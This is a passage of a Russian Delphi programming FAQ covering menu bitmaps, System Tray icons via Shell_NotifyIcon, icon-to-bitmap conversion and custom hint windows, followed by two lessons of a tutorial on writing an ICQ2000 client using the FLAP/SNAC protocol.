       CopyMode := cmSrcAnd;
       StretchDraw(Rect(0, 0, 16, 16), Icn);
     end;
   end;
 end;
 
 procedure TForm1.FormShow(Sender: TObject);
 var
   ItemInfo: TMenuItemInfo;
   hBmp1: THandle;
 begin
   HBmp1 := MnuItm.Handle;
   with ItemInfo do
   begin
     cbSize := SizeOf(ItemInfo);
     fMask := MIIM_CHECKMARKS;
     fType := MFT_BITMAP;
     hBmpunChecked := HBmp1; { Неотмеченное (Unchecked) состояние }
     hBmpChecked := HBmp1; { Отмеченное (Checked) состояние }
   end;
 
   {     /** Заменяем MenuItem Open1 законченным изображением **/}
 
   SetMenuItemInfo(GetSubMenu(MainMenu1.Handle, File1.MenuIndex),
     Open1.MenuIndex, true, ItemInfo);
 end;
 
 end.
 




Иконка на TrayBar

Что такое System Tray? О чем идет речь?

Если Вы в операционной ситеме Windows'95 или Windows NT 4.0 пользуетесь оболочкой Explorer, то справа на TaskBar'е Вы должны были видеть "углубленную" область в которой, обычно, помещаются часы, переключатель клавиатуры, регулятор громкости и некоторые другие утилиты.

Они изображаются маленькими иконками и для них существуют ToolTip'ы как для кнопок ToolBar'ов. При щелчке или двойном щелчке по такой иконке программа обычно выполняет действие по умолчанию, а при щелчке правой кнопкой показывает Pop-Up меню. Hа уровне оболочки System Tray это приложение, поддерживающее окно, которое вы видите как "углубленную" область и некоторый сервис для работы с этим окном.

Как мне перенести свою программу на Tray?

Это типичный вопрос программиста, пишущего какую-нибудь утилиту, работающую в Background во время всей работы операционной системы (в DOS такие утилиты делались TSR-программами). Hо вопрос поставлен не корректно. Обычно задавает этот вопрос программист имеет в виду примерно следующее : "Моя программа работает [почти] все время в минимизированном состоянии и очень жалко места под ее кнопку на TaskBar'е. Как мне сделать, что бы при минимизации [старте|все время] моя программа представлялась иконкой на System Tray'е и отвечала на сообщения мыши от этой иконки ?" Ответ на этот вопрос состоит из нескольких частей.

Что такое иконка на System Tray?

Ответ на этот вопрос объясняет некорректность вопроса 2. Иконка на Tray'е это просто картинка, а не окно какой-либо программы (исследование системы с помощью Microsoft Spy++ for Windows 95 показывает, что это не окно вообще). System Tray отслеживает события мыши над иконкой и, в случае надобности, показывает ToolTip для этой иконки. Так же он отсылает сообщения о всех действиях мыши над иконкой окну, которое поместило иконку на Tray. Таким образом, нельзя поместить программу на Tray. Любая программа может добавить столько иконок на Tray, сколько ей необходимо. При этом главное окно программы не обязано исчезать или минимизироваться - примером может служить Microsoft Internet Mail, помещающая иконку "конверт" на Tray в случае появления новых писем.

Как добавить иконку на Tray?

Для работы с SystemTray существует всего одна функция. Вот ее Си-прототип:


 WINSHELLAPI BOOL WINAPI Shell_NotifyIcon(
   DWORD dwMessage, // message identifier
   PNOTIFYICONDATA pnid // pointer to structure
 );
 

Эта функция описана в заголовочном файле Win32-SDK "shellapi.h", включаемом в программу при включении "windows.h". Параметр dwMessage может принимать одно из трех значений: NIM_ADD, NIM_DELETE, NIM_MODIFY. Для добавления иконки он должен быть установлен в NIM_ADD. Параметр pnid имеет тип PNOTIFYDATA, который описан как:


 typedef struct _NOTIFYICONDATA { // nid
   DWORD cbSize;
   HWND hWnd;
   UINT uID;
   UINT uFlags;
   UINT uCallbackMessage;
   HICON hIcon;
   char szTip[64];
 } NOTIFYICONDATA, *PNOTIFYICONDATA;
 

Поля структуры NOTIFYICONDATA имеют следующий смысл:

cbSize
размер структуры, должен быть sizeof(NOTIFYICONDATA).
hWnd
дескриптор окна, которое будет получать события мыши над иконкой.
uID
уникальный идентификатор иконки. Идентификатор должен быть уникален в пределах окна - обработчика, передаваемого в hWnd.
uFlags
битовое поле, определяющее какое из следующих полей несет действительную информацию. Может быть одним из следующих значений: NIF_ICON, NIF_MESSAGE, NIF_TIP или их OR-комбинацией.
uCallbackMessage
сообщение, передаваемое окну - обработчику при событиях мыши. Желательно получать номер сообщения вызовом RegisterWindowMessage(), но допускаются и значения WM_USER+N, где N > 0.
hIcon
дескриптор иконки, помещаемой на Tray.
szTip
текст для ToolTip'а, если szTip[0] = 0x00, то ToolTip'а не будет.

Таким образом, для добавления иконки на Tray необходимо заполнить экземпляр структуры NOTIFYICONDATA и вызвать функцию Shell_NotifyIcon() с параметром NIM_ADD и указателем на заполненный экземпляр структуры.

При добавлении иконки необходимо заполнить поля cbSize, hWnd, uID, uFlags, uCallbackMessage, hIcon. Поле szTip можно оставить пустым, если вам не нужен ToolTip. Поле uFlags должно содержать как минимум NIF_MESSAGE | NIF_ICON.

Я добавил иконку на Tray, а как ее там изменить?

После добавления иконки на Tray можно менять саму иконку, ToolTip и сообщение, посылаемое окну. Для этого необходимо заполнить экземпляр структуры NOTIFYICONDATA и вызвать функцию Shell_NotifyIcon() с параметром NIM_MODIFY и указателем на заполненный экземпляр структуры.

При изменении иконки необходимо заполнить поля cbSize, hWnd, uID, uFlags и поля, отвечающие за параметры иконки, которые вы хотите менять. При этом uFlags должен содержать комбинацию флагов, описывающую поля, которые необходимо менять.

А как удалить иконку с Tray?

Для удаления иконки вы должны знать ее ID и дескриптор окна-обработчика сообщений.

Для удаления иконки с Tray надо вызвать функцию Shell_NotifyIcon() с параметром NIM_DELETE и указателем на экземпляр структуры NOTIFYICONDATA, у которого должны быть заполнены следующие поля: cbSize, hWnd, uID.

Как мне узнать о воздействии мыши на иконку, находящуюся на Tray?

При добавлении иконки на Tray вы указывали окно - обработчик сообщения и сообщение (CallbackMessage). Теперь окно, указанное вами будет при любых событиях мыши, происходящих над иконкой получать сообщение, указанное при добавлении иконки. При этом параметры lParam и wParam будут задействованы следующим образом:

(UINT)wParam
содержит ID иконки, над которой произошло событие
(UINT)lParam
содержит стандартное событие мыши, такое как WM_MOUSEMOVE или WM_LBUTTONDOWN.

При этом, информация о клавишах смены регистра, так же как и местоположения события, передаваемые при стандартных "настоящих" сообщениях мыши, теряются.

Hо положение курсора можно узнать функцией GetCursorPos(), а состояние клавиш смены регистра - функцией GetKeyState(), описанных в winuser.h.

Многие программы показывают Pop-Up меню при щелчке на их иконке, помещенной на Tray, как этого добиться?

Вы должны обрабатывать сообщение, указанное вами при добавлении иконки на Tray. При значении (UINT)lParam, равном WM_RBUTTONDOWN (это обычно для Pop-Up меню по правой кнопке), или любому другому необходимому вам, вы должны вызовом функции GetCursorPos() получить позицию курсора в момент события (вряд ли пользователь успеет убрать мышь за время обработки сообщения, особенно если он ожидает меню), получить вескриптор Pop-Up меню одним из многих способов (LoadMenu(), GetSubMenu(), CreateMenu(), и т.д.) и выполнить следующий код:


 SetForegroundWindow(hWnd);
 TrackPopupMenuEx(hMenu, TPM_HORIZONTAL | TPM_LEFTALIGN, x, y, hWnd, NULL);
 DestroyMenu(hMenu);
 PostMessage(hWnd, WM_USER, 0, 0);
 

где:

hWnd
дескриптор окна, которое будет обрабатывать команду меню,
hMenu
дескриптор меню, x и y - позиция курсора.

Для подробностей смотрите Win32 SDK Help по функции TrackPopupMenuEx.

Многие программы минимизируясь, оказываются на Tray, как это сделать?

Hа самом деле, не "программа оказывается на Tray", а только иконка помещается на Tray, а главное окно программы скрывается. Для достижения такого результата вам надо обрабатывать сообщение WM_SIZE, и при значении wParam, равном SIZE_MINIMIZED вы должны выполнить примерно следующую последовательность действий: добавить иконку на Tray и скрыть окно - вызвать ShowIndow(hWnd, SW_HIDE).

Когда произойдет действие, которое должго активировать вашу программу - WM_LBUTTONDBLCLK или WM_LBUTTONDOWN (или то, что нравится вам), вы должны удалить иконку и вызвать ShowWindow(hWnd,SW_SHOW) или ShowWindow(hWnd,SW_SHOWMAXIMIZED).

Всегда ли все вышесказанное будет работать?

Hет ! Все вышенаписанное работает только при использовании в операционных системах Windows 95 и Windows NT 4.0 оболочки Explorer, и при разрешенном System Tray. В случае, если не происходит запуска systray.exe (запускаетс автоматически Explorer'ом при старте) или используется другая оболочка (DashBoard, Program Manager, File Manager), функция Shell_NotifyIcon() будет возвращать при вызове FALSE и не выполнять ни каких действий.

Еще раз повторю: System Tray - это возможность оболочки, а не операционной системы !

А есть ли официальная информация по System Tray?

Да, есть. Есть маленький пример в Win32 SDK: SDKRoot\Samples\Win32\Win95\TrayNot\*.* Hу и конечно описание в документации функции Shell_NotifyIcon() и структуры NOTIFYICONDATA.

Так же можно посмотреть Microsoft Knowledge Base:

  • PSS ID Number: Q128129
  • PSS ID Number: Q134237
  • PSS ID Number: Q139408

Как сделать пункт "по умолчанию" в Pop-Up меню выделенным?

Вообще-то, это вопрос не относящийся к System Tray, а относящийся к меню. Hо можно ответить и на него.

Устанавливается пункт "по умолчанию" в любом меню функцией API SetMenuDefaultItem(HMENU hMenu, UINT uItem, UINT fByPos), подробности - в Win32 SDK документации. Пункт "По умолчанию" не влияет на работу меню - это чисто интерфейсное выделение пункта меню полужирным (bold) шрифтом.




Как поместить иконку в Tray

Автор: Nomadic


 function TaskBarAddIcon(hWindow: THandle; ID: Cardinal;
   ICON: hicon; CallbackMessage: Cardinal; Tip: string): Boolean;
 var
   NID: TNotifyIconData;
 begin
   FillChar(NID, SizeOf(TNotifyIconData), 0);
   with NID do
   begin
     cbSize := SizeOf(TNotifyIconData);
     Wnd := hWindow;
     uID := ID;
     uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
     uCallbackMessage := CallbackMessage;
     hIcon := Icon;
     if Length(Tip) > 63 then
       SetLength(Tip, 63);
     StrPCopy(szTip, Tip);
   end;
   Result := Shell_NotifyIcon(NIM_ADD, @NID);
 end;
 




Как создать BMP из ICO



 procedure TForm1.Button1Click(Sender: TObject);
 var
   TheIcon: TIcon;
   TheBitmap: TBitmap;
 begin
   TheIcon := TIcon.Create;
   TheIcon.LoadFromFile('C:\Program Files\Borland\IcoCur32\EARTH.ICO');
   TheBitmap := TBitmap.Create;
   TheBitmap.Height := TheIcon.Height;
   TheBitmap.Width := TheIcon.Width;
   TheBitmap.Canvas.Draw(0, 0, TheIcon);
   Form1.Canvas.Draw(10, 10, TheBitmap);
   TheBitmap.Free;
   TheIcon.Free;
 end;
 




Как создать BMP из ICO 2

Способ преобразования изображения размером 32x32 в иконку.


 unit main;
 
 interface
 
 uses
 
   Windows, Messages, SysUtils, Classes, Graphics, Controls,
   Forms, Dialogs, ExtCtrls, StdCtrls;
 
 type
 
   TForm1 = class(TForm)
     Button1: TButton;
     Image1: TImage;
     Image2: TImage;
     procedure Button1Click(Sender: TObject);
     procedure FormCreate(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;
 
 var
 
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 procedure TForm1.Button1Click(Sender: TObject);
 var
   winDC, srcdc, destdc: HDC;
 
   oldBitmap: HBitmap;
   iinfo: TICONINFO;
 begin
 
   GetIconInfo(Image1.Picture.Icon.Handle, iinfo);
 
   WinDC := getDC(handle);
   srcDC := CreateCompatibleDC(WinDC);
   destDC := CreateCompatibleDC(WinDC);
   oldBitmap := SelectObject(destDC, iinfo.hbmColor);
   oldBitmap := SelectObject(srcDC, iinfo.hbmMask);
 
   BitBlt(destdc, 0, 0, Image1.picture.icon.width,
     Image1.picture.icon.height,
     srcdc, 0, 0, SRCPAINT);
   Image2.picture.bitmap.handle := SelectObject(destDC, oldBitmap);
   DeleteDC(destDC);
   DeleteDC(srcDC);
   DeleteDC(WinDC);
 
   image2.Picture.Bitmap.savetofile(ExtractFilePath(Application.ExeName)
     + 'myfile.bmp');
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
 
   image1.picture.icon.loadfromfile('c:\myicon.ico');
 end;
 
 end.
 




Как создать BMP из ICO 3

Чтобы преобразовать Icon в Bitmap используйте TImageList. для обратного преобразования замените метод AddIcon на Add, и метод GetBitmap на GetIcon.


 function Icon2Bitmap(Icon: TIcon): TBitmap;
 begin
   with TImageList.Create (nil) do
   begin
     AddIcon (Icon);
     Result := TBitmap.Create;
     GetBitmap (0, Result);
     Free;
   end;
 end;
 




Как создать BMP из ICO 4


 procedure TIconShow.FileListBox1Click(Sender: TObject);
 var
 
   MyIcon: TIcon;
   MyBitMap: TBitmap;
 begin
 
   MyIcon := TIcon.Create;
   MyBitMap := TBitmap.Create;
 
   try
     { получаем имя файла и связанную с ним иконку}
     strFileName := FileListBox1.Items[FileListBox1.ItemIndex];
     StrPCopy(cStrFileName, strFileName);
     MyIcon.Handle := ExtractIcon(hInstance, cStrFileName, 0);
 
     { рисуем иконку на bitmap в speedbutton }
     SpeedButton1.Glyph := MyBitMap;
     SpeedButton1.Glyph.Width := MyIcon.Width;
     SpeedButton1.Glyph.Height := MyIcon.Height;
     SpeedButton1.Glyph.Canvas.Draw(0, 0, MyIcon);
 
     SpeedButton1.Hint := strFileName;
 
   finally
     MyIcon.Free;
     MyBitMap.Free;
   end;
 end;
 




Преобразование иконок в Gliph-ы

Вот небольшой пример того, как можно загрузить иконку, содержащуюся в файле EXE, в Glyph у SpeedButton, и как очистить этот самый Glyph.

Огорчен, но комментарии в исходном коде на испанском языке.


 unit Procs;
 
 interface
 uses
 
   SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
   Forms, StdCtrls, Buttons, ExtCtrls, ShellAPI;
 
 procedure LlenaBoton(boton: TSpeedButton; Programa: string);
 procedure LimpiaBoton(boton: TSpeedButton);
 
 var
   {Botones de programas}
   Pic: TPicture;
   Fname: string;
   TempFile: array[0..255] of Char;
   Icon: TIcon;
 
 implementation
 uses ttotro;
 
 procedure LlenaBoton(boton: TSpeedButton; Programa: string);
 
 var
   NumFiles, NameLength: integer;
   nIconsInFile: word;
   rBoton: TRect;
   oBitmap: TBitmap;
   oBitmap2: TBitmap;
   NombreBitmap: string;
 
 begin
 
   try
     screen.cursor := crHourglass;
 
     {Extrae el Icono}
     Icon := TIcon.Create;
     StrPCopy(TempFile, Programa);
     Icon.Handle := ExtractIcon(HInstance, TempFile, 0);
 
     {Crea una instancia de TPicture}
     Pic := TPicture.Create;
     {Asigna el icon.handle a la propiedad Pic.icon}
 
     Pic.Icon := Icon;
 
     {Configura el tamano del bitmap como el del icono y el del segundo
     bitmap con el tamano del boton}
     oBitmap := TBitMap.create;
     oBitmap2 := TBitMap.create;
     oBitmap2.Width := Icon.Width;
     oBitmap2.Height := Icon.Height;
     oBitmap.Width := boton.Width - 4;
     oBitmap.Height := boton.Height - 4;
 
     { Dibuja el icono en el bitmap }
     oBitmap2.Canvas.Draw(0, 0, Pic.Graphic);
     rBoton.left := 1;
     rBoton.Top := 1;
     rBoton.right := boton.Width - 6;
     rBoton.Bottom := boton.Height - 6;
     oBitmap.Canvas.StretchDraw(rBoton, oBitmap2);
 
     Boton.Hint := Programa;
 
     NombreBitmap := Copy(programa, 1, Length(programa) - 3) + 'BMP';
     {Salva el bitmap en un fichero}
     if not FileExists(NombreBitmap) then
     begin
       oBitmap.SaveToFile(ExtractFilePath(Application.ExeName) +
         ExtractFileName(NombreBitmap));
       Boton.Glyph := oBitmap;
     end
     else
       {Carga el BMP en el boton}
       Boton.Glyph.LoadFromFile(ExtractFilePath(Application.ExeName) +
         ExtractFileName(NombreBitmap));
 
   finally
     Icon.Free;
     oBitmap.Free;
     oBitmap2.Free;
     screen.cursor := crDefault;
 
   end; {main begin}
 end; {llenaboton}
 
 procedure LimpiaBoton(boton: TSpeedButton);
 
 var
   oBitmap: TBitmap;
   rBoton: TRect;
 begin
 
   try
     {Configuara el tamano del bitmap como el del icono y el del segundo
     bitmap con el tamano del boton}
     oBitmap := TBitMap.create;
     oBitmap.Width := boton.Width - 4;
     oBitmap.Height := boton.Height - 4;
     Boton.Glyph := oBitmap;
 
   finally
     oBitmap.Free;
   end; {main begin}
 end; {limpiaboton}
 
 end.
 




Как поместить иконку в окошко подсказки

Чтобы увидеть это в действии, всё, что надо сделать, это поместить этот юнит в список USES Вашего приложения


 unit HintX;
 
 interface
 
 uses
   Windows, Messages, Controls;
 
 type
   TIconHintX = class(THintWindow)
   protected
     procedure Paint; override;
   public
     function CalcHintRect(MaxWidth: Integer; const AHint: string;
     AData: Pointer): TRect; override;
 end;
 
 implementation
 
 uses Forms;
 
 { TIconHintX }
 
 {-Вычисляем новый размер окошка подсказки
 для помещения в него иконки:-}
 function TIconHintX.CalcHintRect(MaxWidth: Integer;
 const AHint: string; AData: Pointer): TRect;
 begin
   Result := inherited CalcHintRect(MaxWidth, AHint, AData);
   Result.Right := (Length(AHint) * 5) + Application.Icon.Width;
   Result.Bottom := (Application.Icon.Height) * 2;
 end;
 
 procedure TIconHintX.Paint;
 const
   MARGIN = 5;
 begin
   inherited;
   Canvas.Draw(MARGIN, MARGIN * 5, Application.Icon);
   //рисуем рамку окошка подсказки
   SendMessage(Handle, WM_NCPAINT, 0, 0);
 end;
 
 initialization
   //связываем наш новый класс с классом окошка
   //подсказки установленным поумолчанию:
   HintWindowClass := TIconHintX;
 
 end.
 




Как поместить иконку в TrayBar

Для добавления иконки нужно сперва подключить модуль ShellAPI в раздел uses, а затем написать следующий код по нажатию на кнопку:


 procedure TForm1.Button1Click(Sender: TObject);
 var
   no: TNotifyIconData;
   Hicon1: HIcon;
 begin
   //Помещение иконки в Tray Bar
   HIcon1:=ExtractIcon(Handle,'i:\arw01lt.ico',0);
   with no do
   begin
     cbSize:=Sizeof(TNotifyIconData);
     Wnd:=Handle;
     uID:=0;
     UFlags:=NIF_MESSAGE+NIF_ICON+NIF_TIP;
     SzTip:='Traybar Tip';
     HIcon:=HIcon1;
     //Определяемое пользователем сообщение
     uCallBackMessage:=WM_USER+0;
   end;
   Shell_NotifyIcon(NIM_ADD,@no);
 end;
 

Для того, чтобы удалить иконку обработайте нажатие второй кнопки:


 procedure TForm1.Button2Click(Sender: TObject);
 var
   no: TNotifyIconData;
 begin
   //Удаление иконки
   with no do
   begin
     cbSize:=Sizeof(TNotifyIconData);
     Wnd:=Handle;
     uID:=0;
   end;
   Shell_NotifyIcon(NIM_Delete,@no);
 end;
 

Для добавления, удаления или редактирования иконок на TrayBar'e используем специальную API функцию - Shell_NotifyIcon. Как вы уже прочитали для того, чтобы ею воспользоваться, нужно сначала подключить модуль ShellAPI в разделе uses. В качестве параметров функции нужно указать две вещи.

  1. Сначала сообщение, которое мы посылаем, определяющее необходимое действие над иконкой. Этот параметр может принимать одно из следующих значений:
    • NIM_ADD - добавляет иконку в область TrayBar'a
    • NIM_DELETE - соответственно, удаляет
    • NIM_MODIFY - если задать это значение, можно будет модифицировать иконку
  2. В качестве второго параметра передаётся структура NOTIFYICONDATA, которая содержит сведения об иконке. Эта структура обладает следующими полями:
    • cbSize - это размер структуры в байтах
    • hWnd - дескриптор окна, которое будет получать сообщения ассоциированные с иконкой на TrayBar'e
    • uID - идентификатор иконки на TrayBar'e
    • uFlags - массив флагов, значение этого поля может комбинироваться из следующих констант:
      • NIF_ICON - элемент структуры hIcon будет задействован
      • NIF_MESSAGE - элемент структуры uCallbackMessage будет задействован
      • NIF_TIP - - элемент структуры szTip будет задействован
    • uCallbackMessage - идентификатор сообщения. Система использует этот идентификатор, когда сообщение посылается окну, обозначенному в поле hWnd. Это сообщение посылается, когда происходит событие мыши над областью иконки.
    • hIcon - дескриптор задаваемой иконки
    • szTip - всплывающая подсказка, появляющаяся над областью иконки



ICQ2000 сделай сам 1


Автор: Alexander Vaga
WEB-сайт: http://icq2000cc.hobi.ru

Одна женщина другой: - У моего сына столько девушек!!! Только и слышу, то он с Клавой трахается, то с Аськой! И когда только успевает, ведь все время за компьютером!

Урок №1

Прежде чем приступить к изложению своего небольшого проектика ... скажу сразу…. написан он на Делфи. Кто огорчится , кто обрадуется. Для кого языковой барьер не помеха, а для кого непреодолимое препятствие. Лично я постигал все перелести протоколов ICQ на кодах написанных на С++. Главное - видеть "главное". А мне нравится Делфи. На нем отправить пакет данных в интернет наверное проще, чем записать его в обычный файл.

Самые общие сведения о протоколахм ICQ

Существует около десятка версий ICQ-клиентов. И у каждого - своя версия протокола. Но не смотря на это, их всего два. Есть ICQ, работа, которых с сервером основана на протоколе UDP, и есть ICQ общающиеся с сервером по протоколу TCP. Немного подробнее:

ICQ на протоколе UDP

С нее, собственно, и начиналась история ICQ.

Это были версии протоколов 1,2,3,4 и 5. Это были аськи ICQ97, ICQ98, ICQ99. Т.к. использован протокол UDP, то постоянного соединения клиент-сервер не существует. Пакет передал. Получил подтверждение, и баста. Не получил подтверждение - передай повторно.

Но об этих протоколах уже можно (и нужно) забыть. Они поддерживаются сервером весьма неохотно, потому, что в какой-то момент компания Mirabilis растворилась в компании America OnLine (AOL). После этого ICQ начала работать на протоколе AOL Instant Messenger (AIM). Это и есть вторая группа протоколов ICQ.

ICQ на протоколе TCP

Это версии протоколов 7,8. А может уже и 9,10,11 и т.д.

По сути дела в ICQ20xx используется протокол от AOL Inastant Messenger. И по этому признаку эти два продукта - родные братья. Хоть я и спользовал информацию по прортоколу v8 (ICQ2000b) но рассматривать буду протокол v7 (ICQ2000a). Потому, что эта версия у меня была установлена и именно ее пакеты я использовал для анализа и отладки своего детища. Это различие не имело ровным счетом никакого значения.

Но, как говорится: "ближе к телу".
Вы вправе задать вопрос: "Как же это все будет выглядеть?"
Это выглядит примерно так.

Сами понимаете, что номера ICQ и имена клиентов - полностью вымышленные. Любые совпадения с реальными людьми - чистая случайность. Конечно же, изображения принадлежат своим уважаемым владельцам, поэтому дальше их и не будет.

Как видно на скриншоте, это не просто аська, а - мультиаська! Т.е. можно находиться в онлайне сразу под несколькими UIN-ами одновременно. Иногда это бывает полезно и даже необходимо. В интернете есть конечно примочки для одновременного запуска нескольких копий ICQ, но ничто так не умиляет, как сделанное своими руками. И все же для понимания работы протокола - это излишество, поэтому я оставил только самое необходимое.

Думаю, что не стоит в самом начале нагружать разными сводными таблицами с описанием пакетов протокола. Я буду делать это по мере необходимости. Тем более, что из всего их множества, поначалу не все они будут и нужны.

Для работы вам потребуются только стандартные компоненты Делфи-5. Нет нужды устанавливать какие-то вспомогательные библиотеки или пакеты.

С помощью моего ICQ-клиента можно:

  • логиниться к серверу;
  • отображать состояние клиентов;
  • передавать и принимать сообщения;
  • регистрировать (register) новый UIN на сервере;
  • удалять (unregister) UIN с сервера;
  • просматривать и обновлять информацию о клиентах из контактного списка;
  • производить поиск клиентов по имени, по e-mail, по UIN-у;
  • включать найденных клиентов в контактный список;
  • вести журнал сообщений и пакетов.

Но изначально приложение будет иметь самую минимальную функциональность. UIN и пароль у вас уже должны быть. Будем логиниться на сервере, менять свой статус, принимать сообщения. Весь TCP-трафик идет только через сервер. Так проще и этот способ в комбинации с некоторыми другими параметрами позволит скрыть ваш IP-адрес от любопытных глаз. Наверное, поэтому я не рассматриваю прямые соединения между клиентами. Разумеется, что будем рассматривать протокол v7. На нем работает ICQ2000a.

Итак, приступим...

Все пакеты данных (и от клиента к серверу, и от сервера к клиенту) упаковываются в т.н. FLAP-протокол. Он находится в самом низу иерархии. Ниже показана структура FLAP-пакета:

FLAP
Command Start byte: $2A
Channel ID byte
Sequence Number word
Data Field Length word
Data variable
 

Каждый FLAP-пакет имеет заголовок c фиксированной длиной и, следующий за ним блок данных (переменной длины). Длина заголовка равна 6-и байтам.

FLAP-заголовок содержит такие поля:

  1. Однобайтовый идентификатор начала пакета (Command Start). Его значение всегда равно $2A. С ним можно сверяться при приеме пакетов.
  2. Идентификатор канала (Channel ID). Он может принимать четыре значения:
    • 1 - канал установления соединения;
    • 2 - канал обмена данными (основная фаза работы: какие-либо полезные данные передаются только в этой фазе);
    • 3 - канал ошибок. (на практике мне не попадался :);
    • 4 - канал разъединения. (это проще, чем написано).
    На 99.9% времени протокол работает в канале 2.
  3. Последовательный номер пакета (Sequence Number). В начале обмена данными это поле устанавливается случайным образом, а затем увеличивается на единицу при передаче каждого последующего пакета. Обычно такие поля используются для обеспечения целостности данных (например, когда используется UDP-протокол). Но в нашем случае используется TCP-соединение и этого вполне достаточно для обеспечения целостности передаваемых пакетов. Просто нужно следовать правилу формирования этого поля при передаче пакетов и можно забыть о нем. (На приеме я его никак не контролировал).
  4. Длина блока данных (Data Field Length). Указывает на длину блока данных, который следует сразу же за заголовком. Это очень важное поле. Зная его, мы знаем сколько данных нужно прочитать из входного потока. Ошибись мы хоть на один байт и синхронизация потока будет нарушена.

Блок данных FLAP-пакета. Его длина указана в FLAP-заголовке. В нем находится вся полезная информация для обмена ICQ-клиента и сервера.

При приеме (обработке) FLAP-пакетов очень важно не потерять синхронизацию пакетов ( что просто недопустимо ). Нужно всегда читать 6-и байтовый залоговок, а далее считывать только, то количество данных, которое указано в заголовке. При соблюдении этого правила можно быть уверенным, что прочитанный блок данных будет содержать достоверную информацию. Потеря данных неприемлема в AIM стандарте. Все это на самом деле не трудно обеспечить.

Труднее разобраться в структуре самого блока данных. А напичкан он весьма разнообразными структурными единицами. Видать оччень много народу постаралось для этого. Впечатление такое, что взяли и скрестили старые версии v2 - v5 ICQ-протокола с самим AIM-протоколом. Это вам еще предстоит увидеть. Вот например, для представления обычных текстовых строк , использовано 3 или 4 различных варианта. Представляете себе строку в формате C++ или в формате Pascal, с нулем в конце или без него, с однобайтовой длиной или двубайтовой, а порядок следования байтов в слове? Черт ногу сломает. А может это специально сделано? Мне кажется, что впопыхах!!!

Попробуем разобраться.




ICQ2000 сделай сам 10


Автор: Alexander Vaga

Одиночество - это когда контакт лист icq грохнулся.

Урок №3

Запрос информации о клиенте,

Поиск клиентов по различным критериям и др.

Итак... Передавать и принимать сообщения уже умеем. На очереди - получение информации о клиентах, которые находятся в списке контактов; а также поиск новых клиентов по различным критериям. Такие запросы к серверу посылаются с помощью все тех же SNAC(15,2). Вспомните, как производится запрос оффлайновых сообщений.

Точно также SNAC(15,2) с типом запроса равным D007 применяется:

  • при всех операциях с Инфо клиентов ( и получение, и обновление своего);
  • при поиске клиентов по имени, по UINу, по E-mailу;
  • при изменении пароля;
  • при удалении UINа из реестра ICQ;
  • при многих других операциях.

Каждая из перечисленных операций определяется подтипом запроса. Приведу обобщенную таблицу SNAC(15,2) для некоторых запросов:

FLAP
Command Start 2A
Channel ID 02
Sequence Number XX XX
Data Field Length XX XX
SNAC (15, 02)
Family ID 00 15
SubType ID 00 02
Flags[0] 00
Flags[1] 00
Request ID 00 XX 00 02 (по ним можно опознать ответ)
TLV (1)
Type 00 01
Length XX XX
Value Length-2
(и что оно тут делает ?)
XX XX XX XX наш UIN
D0 07 тип запроса
XX 00 cookie
(по нему можно/нужно
опознавать ответ)
B2 04 подтип запроса
(B204 - запрос инфо клиента)

Это переменная часть зпроса.
Она определяется подтипом запроса.

Например:

При запросе инфо клиента (B2 04) или при поиске клиента по UINу (1F05) здесь следует разместить запрашиваемый UIN.

При поиске клиента по E-mail (2905) здесь будет помещена строка с искомым адресом.

При поиске по NickName, FirstName, LastName (1505) сюда помещаются соответственно три стоки.

При смене пароля (2E04) здесь будет лишь строка с паролем, а наш UIN сервер и так знает.



Теперь к Delphi-проекту добавлены еще два модуля: UInfo и SUser (User Info & Search User).

Очередные исходники 3-его урока здесь. Т.к. все рассмотренные више запросы практически однотипные, то приведу комментарии только к одному из них. Это будет поиск по NickName, FirstName, LastName:

unit SUser;


 procedure TSearchUser.META_Search_User(NN,FN,LN : string);
 var p : PPack;
     // промежуточный массив.
     // в нем накапливаются данные TLV(1)
     b : TByteArray;
     i : integer;
 begin
      if (NN='')and(FN='')and(LN='') then exit;
      EndOfSearch := false;
 
      // word(b[0]) - тут будет ненужная длина
      // (но ее надо потом корректно заполнить)
      // а пока переходим к 3-у елементу
      i:=2;
 
      // вписываем UIN (только СВОЙ - укажем явно,что из модуля Main.pas)
      PLONG(@(b[i]))^ := main.UIN;    inc(i,4);
      // ТИП запроса
      PWORD(@(b[i]))^ := swap($D007);   inc(i,2);
      // придумаем себе COOKIE
      // (можно и по-проще, но в настоящей аське
      // COOKIE имеет такой вид XX00)
      Cookie := random($FF) shl 8;
      PWORD(@(b[i]))^ := swap(Cookie); inc(i,2);
      // ПОДТИП запроса
      PWORD(@(b[i]))^ := swap($1505);   inc(i,2);
 
      // добавляем три текстовые строки (First, Last, Nick)
      // у AOL новый тип строк наверное :)
      // впереди - длина строки, а в конце #0
      // (что-то одно из них убрали бы)
 
      // длина строки
      PWORD(@(b[i]))^ := length(FN)+1;  inc(i,2);
      // сама строка FirstName
      MOVE(FN[1],b[i],length(FN));     inc(i,Length(FN));
      // завершающий #0
      PBYTE(@(b[i]))^ := 0;             inc(i,1);
 
      // LastName
      PWORD(@(b[i]))^ := length(LN)+1;  inc(i,2);
      MOVE(LN[1],b[i],length(LN));     inc(i,Length(LN));
      PBYTE(@(b[i]))^ := 0;             inc(i,1);
 
      // NickName
      PWORD(@(b[i]))^ := length(NN)+1;  inc(i,2);
      MOVE(NN[1],b[i],length(NN));     inc(i,Length(NN));
      PBYTE(@(b[i]))^ := 0;             inc(i,1);
 
      // дозаполним "ненужную" длину в начале массива
      PWORD(@(b[0]))^ := i-2;
      // создаем FLAP-пакет
      P:=CreatePacket(2,SEQ);
      // добавляем SNAC(15,2)
      SNACAppend(p,$15,$2);
      // добавляем TLV(1) с данными из промежуточного массива
      TLVAppend(p,1,i,@b);
      // шлем запрос
      Form1.PacketSend(p);
      // пишем в Memo
      M(Form1.Memo,'> Search Detail: Nick:'+NN+
                                '   First:'+FN+
                                 '   Last:'+LN+'   '+
                                  'Cookie:$'+inttohex(Cookie,4));
 end;
 

Запросы других подтипов передаются аналогично. С небольшими вариациями. Оновременно можем передавать на сервер много запросов. Сервер разберется. Ведь в каждом нашем запросе есть уникальное(ый) Cookie (а также и RequestID в SNAC-заголовке). Сервер пометит свои пакеты-ответы этими же опознавательными знаками.

